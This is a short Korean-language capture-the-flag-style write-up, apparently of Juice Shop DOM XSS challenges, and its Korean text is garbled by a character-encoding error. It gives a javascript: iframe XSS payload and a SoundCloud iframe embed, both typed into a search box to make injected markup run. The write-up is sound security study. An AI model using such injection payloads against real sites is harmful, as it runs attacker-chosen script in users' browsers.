<aside> ๐ Content
XSS Perform aย DOM XSS attack withย
<iframe src="javascript:alert(
xss)">
<aside> ๐ก DOM XSS : DOM(Document Object Model)์ HTML ๋ฐ XML ๋ฌธ์์ ์ ๊ทผํ๋ ๋ฐฉ๋ฒ์ ํ์ค์ผ๋ก ์ ์ํ๋ ๋ฌธ์ ๊ฐ์ฒด ๋ชจ๋ธ์ด๋ค. XSS๋ฅผ ํตํด DOM ํ๊ฒฝ์ ์์ ํ์ฌ ํด๋ผ์ด์ธํธ ์ธก ์ฝ๋๊ฐ ์์์น ๋ชปํ ๋ฐฉ์์ผ๋ก ๊ณต๊ฒฉ ๊ตฌ๋ฌธ์ด ์คํ๋๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ด๋ค.
</aside>
๋จ์ด๋ฅผ ๊ฒ์์ฐฝ์ ์ ๋ ฅํ๋ฉด Search Results์ ํจ๊ป ํด๋น ํค์๋ + ํด๋น ์์ดํ ์ ๋ณด์ฌ์ค๋ค. ๊ฒ์ ๋ฌธ์์ด์ด result๋ก ๋ณด์ฌ์ง๋๋ฐ
์ด๊ณณ์ <iframe src="javascript:alert(xss)">
๊ณผ ๊ฐ์ script๋ฅผ ์ฝ์
ํ๋ฉด ํด๋น script๊ฐ html ์ฝ๋ ๋ด์ ์ฝ์
๋จ์ ์ ์ ์๊ณ script๊ฐ ์คํ๋๋ค.
XSS Use the bonus payloadย
<iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="<https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true>"></iframe>
in theย DOM XSSย challenge.
DOM XSS ๋ฌธ์ ์ ๊ฐ์ ์ ํ์ผ๋ก, <iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="<https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true>"></iframe>
ํ๊ทธ๋ฅผ ๊ฒ์์ฐฝ์ ์ฝ์
ํ๋ฉด
์์ ๊ฐ์ soundcloud ์์์ด ์๋ฒ ๋๋ก ํ์ฑ๋จ์ ์ ์ ์๋ค.